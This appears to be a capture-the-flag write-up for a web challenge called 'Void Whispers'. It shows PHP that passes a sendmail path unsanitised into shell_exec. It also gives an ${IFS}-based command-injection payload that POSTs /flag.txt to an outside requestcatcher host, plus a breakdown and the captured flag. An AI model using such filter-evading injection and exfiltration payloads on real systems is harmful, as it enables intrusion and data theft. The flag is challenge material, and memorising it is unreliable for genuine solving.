Web - Void Whispers
Last updated
Last updated
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
$whichOutput = shell_exec("which $sendMailPath");
if (empty($whichOutput)) {
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
}/usr/bin/curl;curl${IFS}-X${IFS}POST${IFS}heapbytes.requestcatcher.com/test${IFS}-d${IFS}"$(cat${IFS}/flag.txt)"
# --- breakdown
# curl${IFS}-X${IFS}POST${IFS}heapbytes.requestcatcher.com/test
##-> this will send post data to our requestcatcher
## Decodes to : curl heapbytes.requestcatcher.com/test
# ---
# ${IFS}-d${IFS}"$(cat${IFS}/flag.txt)"
## -> this will send post body data, it will send flag.txt
## Decodes to : -d "$(cat /flag.txt)"HTB{c0mm4nd_1nj3ct10n_4r3_3457_70_f1nD!!_098912b889858de2519e1b18abe0eced}